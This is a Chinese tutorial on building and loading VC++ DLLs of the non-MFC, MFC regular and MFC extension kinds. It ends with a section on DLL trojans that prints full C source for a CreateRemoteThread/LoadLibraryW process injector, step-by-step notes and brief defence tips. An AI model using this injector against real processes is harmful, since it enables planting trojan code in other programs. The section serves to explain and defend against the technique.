VC++动态链接库 .

本文涉及的产品
云防火墙,500元 1000GB
简介:

Visual C++支持三种DLL,它们分别是Non-MFC DLL(非MFC动态库)、MFC Regular DLL(MFC规则DLL)、MFC Extension DLL(MFC扩展DLL)。

 

 

Non-mfc dll

 

//文件:lib.h

#ifndef LIB_H
#define LIB_H
extern "C" int add(int x,int y);   //声明为C编译、连接方式的外部函数
#endif

//文件:lib.cpp

#include "lib.h"
int add(int x,int y)
{
return x + y;
}

 

静态调用:

#include <stdio.h>
#include "../lib.h"
#pragma comment( lib, "..//debug//libTest.lib" )  //指定与静态库一起连接

int main(int argc, char* argv[])
{
printf( "2 + 3 = %d", add( 2, 3 ) );
}

 

代码中#pragma comment( lib , "..//debug//libTest.lib" )的意思是指本文件生成的.obj文件应与libTest.lib一起连接。

或在Project 菜单里选择Settings 然后再Link 选项卡上的 Object/Library Modules 输入lib 路径。

 

 

 

 

 

 

动态调用:

 

 

#include <stdio.h>
#include <windows.h>

typedef int(*lpAddFun)(int, int); //宏定义函数指针类型
int main(int argc, char *argv[])
{
HINSTANCE hDll; //DLL句柄 
lpAddFun addFun; //函数指针
hDll = LoadLibrary("..//Debug//dllTest.dll");
if (hDll != NULL)
{
addFun = (lpAddFun)GetProcAddress(hDll, "add");
if (addFun != NULL)
{
int result = addFun(2, 3);
printf("%d", result);
}
FreeLibrary(hDll);
}
return 0;
}

 

声明导出函数:

 


DLL中导出函数的声明有两种方式:

一种为在函数声明中加上__declspec(dllexport);

另外一种方式是采用模块定义(.def) 文件声明,.def文件为链接器提供了有关被链接程序的导出、属性及其他方面的信息。

下面的代码演示了怎样同.def文件将函数add声明为DLL导出函数(需在工程中添加lib.def文件):

; lib.def : 导出DLL函数

LIBRARY dllTest

EXPORTS

add @ 1


.def文件的规则为:

(1)LIBRARY语句说明.def文件相应的DLL;

(2)EXPORTS语句后列出要导出函数的名称。可以在.def文件中的导出函数名后加@n,表示要导出函数的序号为n(在进行函数调用时,这个序号将发挥其作用);

(3).def 文件中的注释由每个注释行开始处的分号 (;) 指定,且注释不能与语句共享一行。

由此可以看出,例子中lib.def文件的含义为生成名为“dllTest”的动态链接库,导出其中的add函数,并指定add函数的序号为1。

 

DllMain函数:

 Windows在加载DLL的时候,需要一个入口函数,就如同控制台或DOS程序需要main函数、WIN32程序需要WinMain函数一样。在前面的例子中,DLL并没有提供DllMain函数,应用工程也能成功引用DLL,这是因为Windows在找不到DllMain的时候,系统会从其它运行库中引入一个不做任何操作的缺省DllMain函数版本,并不意味着DLL可以放弃DllMain函数。

 

 

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
printf("/nprocess attach of dll");
break;
case DLL_THREAD_ATTACH:
printf("/nthread attach of dll");
break;
case DLL_THREAD_DETACH:
printf("/nthread detach of dll");
break;
case DLL_PROCESS_DETACH:
printf("/nprocess detach of dll");
break;
}
return TRUE;
}

 

 

 

APIENTRY被定义为__stdcall,它意味着这个函数以标准Pascal的方式进行调用,也就是WINAPI方式;

 

 

进程中的每个DLL模块被全局唯一的32字节的HINSTANCE句柄标识,只有在特定的进程内部有效,句柄代表了DLL模块在进程虚拟空间中的起始地址。在Win32中,HINSTANCE和HMODULE的值是相同的,这两种类型可以替换使用,这就是函数参数hModule的来历。

 

执行下列代码:

hDll = LoadLibrary("..//Debug//dllTest.dll");
if (hDll != NULL)
{
addFun = (lpAddFun)GetProcAddress(hDll, MAKEINTRESOURCE(1));
//MAKEINTRESOURCE直接使用导出文件中的序号
if (addFun != NULL)
{
int result = addFun(2, 3);
printf("/ncall add in dll:%d", result);
}
FreeLibrary(hDll);
}

 

 

扩展DLL 和正规DLL

 

扩展DLL 支持C++接口,可以导出整个C++类,客户可以构造这些类的对象或从这些类进行派生。扩展DLL动态链接到MFC库。

正规DLL 支持WIN32编程环境,但不能导出c++类,但可以在DLL内部使用C++类。正规DLL可以分动态,静态两种连接到MFC库。

 

一个简单的MFC规则DLL

 

 

         HELLO

CANCEL          OK

 

 

第一组文件:CWinApp继承类的声明与实现:

 

// RegularDll.h : main header file for the REGULARDLL DLL

#if !defined(AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_)
#define AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#ifndef __AFXWIN_H__
#error include ’stdafx.h’ before including this file for PCH
#endif
#include "resource.h" // main symbols

class CRegularDllApp : public CWinApp
{
public:
CRegularDllApp();
DECLARE_MESSAGE_MAP()
};

#endif 

// RegularDll.cpp : Defines the initialization routines for the DLL.

#include "stdafx.h"
#include "RegularDll.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

BEGIN_MESSAGE_MAP(CRegularDllApp, CWinApp)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////

// CRegularDllApp construction

CRegularDllApp::CRegularDllApp()
{
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CRegularDllApp object

CRegularDllApp theApp;

 

 

第二组文件 自定义对话框类声明及实现:

 

#if !defined(AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_)
#define AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// DllDialog.h : header file
/////////////////////////////////////////////////////////////////////////////
// CDllDialog dialog

class CDllDialog : public CDialog
{
// Construction
public:
CDllDialog(CWnd* pParent = NULL); // standard constructor
enum { IDD = IDD_DLL_DIALOG };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
// Implementation
protected:
afx_msg void OnHelloButton();
DECLARE_MESSAGE_MAP()
};
#endif 

// DllDialog.cpp : implementation file

#include "stdafx.h"
#include "RegularDll.h"
#include "DllDialog.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CDllDialog dialog

CDllDialog::CDllDialog(CWnd* pParent /*=NULL*/)
: CDialog(CDllDialog::IDD, pParent)
{}

void CDllDialog::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}

BEGIN_MESSAGE_MAP(CDllDialog, CDialog)
ON_BN_CLICKED(IDC_HELLO_BUTTON, OnHelloButton)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CDllDialog message handlers

void CDllDialog::OnHelloButton() 
{
MessageBox("Hello,pconline的网友","pconline");
}

 

第三组文件 DLL中的资源文件:

//{{NO_DEPENDENCIES}}

// Microsoft Developer Studio generated include file.

// Used by RegularDll.rc

//

#define IDD_DLL_DIALOG 1000

#define IDC_HELLO_BUTTON 1000

 

 

第四组文件 MFC规则DLL接口函数

 

 

#include "StdAfx.h"
#include "DllDialog.h"

extern "C" __declspec(dllexport) void ShowDlg(void) 
{
CDllDialog dllDialog;
dllDialog.DoModal();
}

 

 

MFC规则DLL的调用:

 

void CRegularDllCallDlg::OnCalldllButton() 
{
typedef void (*lpFun)(void);
HINSTANCE hDll; //DLL句柄 
hDll = LoadLibrary("RegularDll.dll");
if (NULL==hDll)
{
MessageBox("DLL加载失败");
}

lpFun addFun; //函数指针
lpFun pShowDlg = (lpFun)GetProcAddress(hDll,"ShowDlg");
if (NULL==pShowDlg)
{
MessageBox("DLL中函数寻找失败"); 
}
pShowDlg();
}

 

我们照样可以在EXE程序中隐式调用MFC规则DLL,只需要将DLL工程生成的.lib文件和.dll文件拷入当前工程所在的目录,并在RegularDllCallDlg.cpp文件的顶部添加:

#pragma comment(lib,"RegularDll.lib")
void ShowDlg(void);


并将void CRegularDllCallDlg::OnCalldllButton() 改为:

void CRegularDllCallDlg::OnCalldllButton() 
{
ShowDlg();
}

 

 

共享MFC DLL(或MFC扩展DLL)的规则DLL涉及到HINSTANCE句柄问题,HINSTANCE句柄对于加载资源特别重要。EXE和DLL都有其自己的资源,而且这些资源的ID可能重复,应用程序需要通过资源模块的切换来找到正确的资源。如果应用程序需要来自于DLL的资源,就应将资源模块句柄指定为DLL的模块句柄;如果需要EXE文件中包含的资源,就应将资源模块句柄指定为EXE的模块句柄。

 

解决方法

 

方法一 在DLL接口函数中使用:

AFX_MANAGE_STATE(AfxGetStaticModuleState());

 

方法二 在DLL接口函数中使用:

 

AfxGetResourceHandle();

AfxSetResourceHandle(HINSTANCE xxx);

 

void ShowDlg(void)

//方法2的状态变更
HINSTANCE save_hInstance = AfxGetResourceHandle(); 
AfxSetResourceHandle(theApp.m_hInstance); 
CDialog dlg(IDD_DLL_DIALOG);//打开ID为2000的对话框
dlg.DoModal();

//方法2的状态还原
AfxSetResourceHandle(save_hInstance);
}

 

 方法三 由应用程序自身切换:
现在我们把DLL中的接口函数改为最简单的:

void ShowDlg(void)

CDialog dlg(IDD_DLL_DIALOG); //打开ID为2000的对话框
dlg.DoModal();
}


而将应用程序的OnCalldllButton函数改为:

void CSharedDllCallDlg::OnCalldllButton() 
{
//方法3:由应用程序本身进行状态切换
//获取EXE模块句柄

HINSTANCE exe_hInstance = GetModuleHandle(NULL); 

//或者HINSTANCE exe_hInstance = AfxGetResourceHandle(); 
//获取DLL模块句柄

HINSTANCE dll_hInstance = GetModuleHandle("SharedDll.dll"); 
AfxSetResourceHandle(dll_hInstance); //切换状态
ShowDlg(); //此时显示的是DLL的对话框 
AfxSetResourceHandle(exe_hInstance); //恢复状态

//资源模块恢复后再调用ShowDlg
ShowDlg(); //此时显示的是EXE的对话框
}

 

 

扩展DLL

MFC扩展DLL与MFC规则DLL的相同点在于在两种DLL的内部都可以使用MFC类库,其不同点在于MFC扩展DLL与应用程序的接口可以是MFC的。MFC扩展DLL的含义在于它是MFC的扩展,其主要功能是实现从现有MFC库类中派生出可重用的类。MFC扩展DLL使用MFC 动态链接库版本,因此只有用共享MFC 版本生成的MFC 可执行文件(应用程序或规则DLL)才能使用MFC扩展DLL。

 从下表我们可以看出三种DLL对DllMain入口函数的不同处理方式:

DLL类型

入口函数

非 MFC DLL

编程者提供DllMain函数

MFC规则 DLL

CWinApp对象的InitInstance 和 ExitInstance

MFC扩展 DLL

MFC DLL向导生成DllMain 函数

于MFC扩展DLL,系统会自动在工程中添加如下表所示的宏,这些宏为DLL和应用程序的编写提供了方便

 

 

定义

AFX_CLASS_IMPORT

__declspec(dllexport)

AFX_API_IMPORT

__declspec(dllexport)

AFX_DATA_IMPORT

__declspec(dllexport)

AFX_CLASS_EXPORT

__declspec(dllexport)

AFX_API_EXPORT

__declspec(dllexport)

AFX_DATA_EXPORT

__declspec(dllexport)

AFX_EXT_CLASS

#ifdef _AFXEXT
AFX_CLASS_EXPORT
#else
AFX_CLASS_IMPORT

AFX_EXT_API

#ifdef _AFXEXT
AFX_API_EXPORT
#else
AFX_API_IMPORT

AFX_EXT_DATA

#ifdef _AFXEXT
AFX_DATA_EXPORT
#else
AFX_DATA_IMPORT

 

 

MFC扩展DLL导出MFC派生类;

 

 

static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };
extern "C" int APIENTRY

DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
{
// Remove this if you use lpReserved

UNREFERENCED_PARAMETER( lpReserved );

//说明:lpReserved是一个被系统所保留的参数,对于隐式链接是一个非零值,对于显式链接值是零

if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0( "EXTDLL.DLL Initializing!/n" );
// Extension DLL one-time initialization
if ( !AfxInitExtensionModule( ExtDllDLL, hInstance ))
return 0;
// Insert this DLL into the resource chain
new CDynLinkLibrary( ExtDllDLL );
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0( "EXTDLL.DLL Terminating!/n" );
// Terminate the library before destructors are called
AfxTermExtensionModule( ExtDllDLL );
}
return 1; // ok
}

 

 


(1)上述代码完成MFC扩展DLL的初始化和终止处理;

(2)初始化期间所创建的 CDynLinkLibrary 对象使MFC扩展 DLL 可以将 DLL中的CRuntimeClass 对象或资源导出到应用程序;

(3)AfxInitExtensionModule函数捕获模块的CRuntimeClass 结构和在创建 CDynLinkLibrary 对象时使用的对象工厂(COleObjectFactory 对象);

(4)AfxTermExtensionModule函数使 MFC 得以在每个进程与扩展 DLL 分离时(进程退出或使用AfxFreeLibrary卸载DLL时)清除扩展 DLL;

(5)第一条语句static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };定义了一个AFX_EXTENSION_MODULE类的静态全局对象,AFX_EXTENSION_MODULE的定义如下:

struct AFX_EXTENSION_MODULE
{
BOOL bInitialized;
HMODULE hModule;
HMODULE hResource;
CRuntimeClass* pFirstSharedClass;
COleObjectFactory* pFirstSharedFactory;
};


由AFX_EXTENSION_MODULE的定义我们可以更好的理解(2)、(3)、(4)点。

 

 在资源编辑器中添加一个如图15所示的对话框,并使用MFC类向导为其添加一个对应的类CExtDialog,系统自动添加了ExtDialog.h和ExtDialog.cpp两个头文件。

 

修改ExtDialog.h中CExtDialog类的声明为:

class AFX_EXT_CLASS CExtDialog : public CDialog
{
public:
CExtDialog( CWnd* pParent = NULL ); 
enum { IDD = IDD_DLL_DIALOG };
protected:
virtual void DoDataExchange( CDataExchange* pDX ); 
DECLARE_MESSAGE_MAP()
};


这其中最主要的改变是我们在class AFX_EXT_CLASS CExtDialog语句中添加了“AFX_EXT_CLASS”宏,则使得DLL中的CExtDialog类被导出。

 

隐式加载

 

我们在6.2工程所在的工作区中添加一个LoadExtDllDlg工程,用于演示MFC扩展DLL的加载。在LoadExtDllDlg工程中添加一个如图16所示的对话框,这个对话框上包括一个“调用DLL”按钮。

 

 

// LoadExtDllDlg.cpp : implementation file
//

#include "../ExtDialog.h"
#pragma comment( lib, "ExtDll.lib" )

而“调用DLL”按钮的单击事件的消息处理函数为:

void CLoadExtDllDlg::OnDllcallButton() 
{
CExtDialog extDialog;
extDialog.DoModal();
}


当我们单击“调用DLL”的时候,弹出了如图15的对话框。

为提供给用户隐式加载(MFC扩展DLL一般使用隐式加载,具体原因见下节),MFC扩展DLL需要提供三个文件:

(1)描述DLL中扩展类的头文件;

(2)与动态链接库对应的.LIB文件;

(3)动态链接库.DLL文件本身。

有了这三个文件,应用程序的开发者才可充分利用MFC扩展DLL。

 

显示加载

 

 显示加载MFC扩展DLL应使用MFC全局函数AfxLoadLibrary而不是WIN32 API中的LoadLibrary。AfxLoadLibrary 最终也调用了 LoadLibrary这个API,但是在调用之前进行了线程同步的处理。

AfxLoadLibrary 的函数原型与 LoadLibrary完全相同,为:

HINSTANCE AFXAPI AfxLoadLibrary( LPCTSTR lpszModuleName );


与之相对应的是,MFC 应用程序应使用AfxFreeLibrary 而非FreeLibrary 卸载MFC扩展DLL。AfxFreeLibrary的函数原型也与 FreeLibrary完全相同,为:

BOOL AFXAPI AfxFreeLibrary( HINSTANCE hInstLib );


如果我们把上例中的“调用DLL”按钮单击事件的消息处理函数改为:

void CLoadExtDllDlg::OnDllcallButton() 
{
HINSTANCE hDll = AfxLoadLibrary( "ExtDll.dll" );
if(NULL == hDll)
{
AfxMessageBox( "MFC扩展DLL动态加载失败" );
return;
}

CExtDialog extDialog;
extDialog.DoModal();
AfxFreeLibrary(hDll);
}


则工程会出现link错误:

LoadExtDllDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: virtual __thiscall CExtDialog::~CExtDialog(void)" (__imp_??1CExtDialog@@UAE@XZ)

LoadExtDllDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: __thiscall CExtDialog::CExtDialog(class CWnd *)" (__imp_??0CExtDialog@@QAE@PAVCWnd@@@Z)


提示CExtDialog的构造函数和析构函数均无法找到!是的,对于派生MFC类的MFC扩展DLL,当我们要在应用程序中使用DLL中定义的派生类时,我们不宜使用动态加载DLL的方法。

 

6.4 MFC扩展DLL加载MFC扩展DLL

我们可以在MFC扩展DLL中再次使用MFC扩展DLL,但是,由于在两个DLL中对于AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA宏的定义都是输出,这会导致调用的时候出现问题。

我们将会在调用MFC扩展DLL的DLL中看到link错误:

error LNK2001: unresolved external symbol ….......


因此,在调用MFC扩展DLL的MFC扩展DLL中,在包含被调用DLL的头文件之前,需要临时重新定义AFX_EXT_CLASS的值。下面的例子显示了如何实现:

//临时改变宏的含义“输出”为“输入”

#undef AFX_EXT_CLASS
#undef AFX_EXT_API
#undef AFX_EXT_DATA
#define AFX_EXT_CLASS AFX_CLASS_IMPORT
#define AFX_EXT_API AFX_API_IMPORT
#define AFX_EXT_DATA AFX_DATA_IMPORT

//包含被调用MFC扩展DLL的头文件

#include "CalledDLL.h"

//恢复宏的含义为输出

#undef AFX_EXT_CLASS
#undef AFX_EXT_API
#undef AFX_EXT_DATA
#define AFX_EXT_CLASS AFX_CLASS_EXPORT
#define AFX_EXT_API AFX_API_EXPORT
#define AFX_EXT_DATA AFX_DATA_EXPORT


MFC扩展DLL导出函数和变量:

 

MFC扩展DLL导出函数和变量的方法也十分简单,下面我们给出一个简单的例子。

我们在MFC向导生成的MFC扩展DLL工程中添加gobal.h和global.cpp两个文件:

//global.h:MFC扩展DLL导出变量和函数的声明

extern "C"
{
int AFX_EXT_DATA total; //导出变量
int AFX_EXT_API add( int x, int y ); //导出函数
}

//global.cpp:MFC扩展DLL导出变量和函数定义

#include "StdAfx.h"
#include "global.h"

extern "C" int total;
int add(int x,int y)
{
total = x + y;
return total;
}


编写一个简单的控制台程序来调用这个MFC扩展DLL:

#include <iostream.h>
#include <afxver_.h> 

//AFX_EXT_DATA、AFX_EXT_API宏的定义在afxver_.h头文件中

#pragma comment ( lib, "ExtDll.lib" )
#include "../global.h"

int main(int argc, char* argv[])
{
cout << add(2,3) << endl;
cout << total;
return 0;
}

 

动态链接库编程之DLL木马

HANDLE CreateRemoteThread(
HANDLE hProcess, //远程进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

 

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

void CheckError ( int, int, char *); //出错处理函数

PDWORD pdwThreadId; 
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;

void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};

dwRemoteProcessId = 4000; 
strcpy(lpDllFullPathName, "d://troydll.dll");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程 
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId ); 
CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址 
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程,通过远程线程调用用户的DLL文件 
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL) 
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL) 
{
CloseHandle(hRemoteProcess);
}
}

//错误处理函数CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode)
{
printf("%s Error:%d/n/n", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL) 
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
}

 从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:

(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;

(2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;

(3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:

a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;

b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;

c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。

(4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;

(5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;

(6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;

(7)清理现场。

DLL木马的防治

从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。

一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。 

对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。"道高一尺,魔高一丈",现如今,DLL木马也发展到了更高的境界,它们看起来也不再"莫名其妙"。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。

 

 

  Windows按下列顺序搜索DLL:

(1)当前进程的可执行模块所在的目录;

(2)当前目录;

(3)Windows 系统目录,通过GetSystemDirectory 函数可获得此目录的路径;

(4)Windows 目录,通过GetWindowsDirectory 函数可获得此目录的路径;

(5)PATH 环境变量中列出的目录。



本文转自莫水千流博客园博客,原文链接:http://www.cnblogs.com/zhoug2020/archive/2012/04/02/2430092.html,如需转载请自行联系原作者

相关文章
《C++避坑神器·九》小白也能轻易掌握动态链接库DLL的使用
《C++避坑神器·九》小白也能轻易掌握动态链接库DLL的使用
137 0
|
SQL 物联网 Linux
跨平台开发--C# 使用C/C++生成的动态链接库
跨平台开发--C# 使用C/C++生成的动态链接库
401 0
跨平台开发--C# 使用C/C++生成的动态链接库
|
SQL 架构师 Java
C#&.net系列之——C#如何动态加载调用C++动态链接库?非常简单!!!
今天介绍动态调用的方法。很多时候,Dll库的目录可能是变化的,或是有些场景,需要根据具体的情况,来动态加载这些Dll库。这样使用静态调用的方式就很不方便,C#中我们经常通过配置动态的调用托管Dll,那么是不是也可以这样动态调用C++动态链接呢? 只要通过LoadLibrary, GetProcess, FreeLibrary这几个函数是可以动态调用动态链接的(它们包含在kernel32.dll中)。
C#&.net系列之——C#如何动态加载调用C++动态链接库?非常简单!!!
|
编译器 C语言 C++
Qt调用VC++生成的动态链接库
Qt调用VC++生成的动态链接库
217 0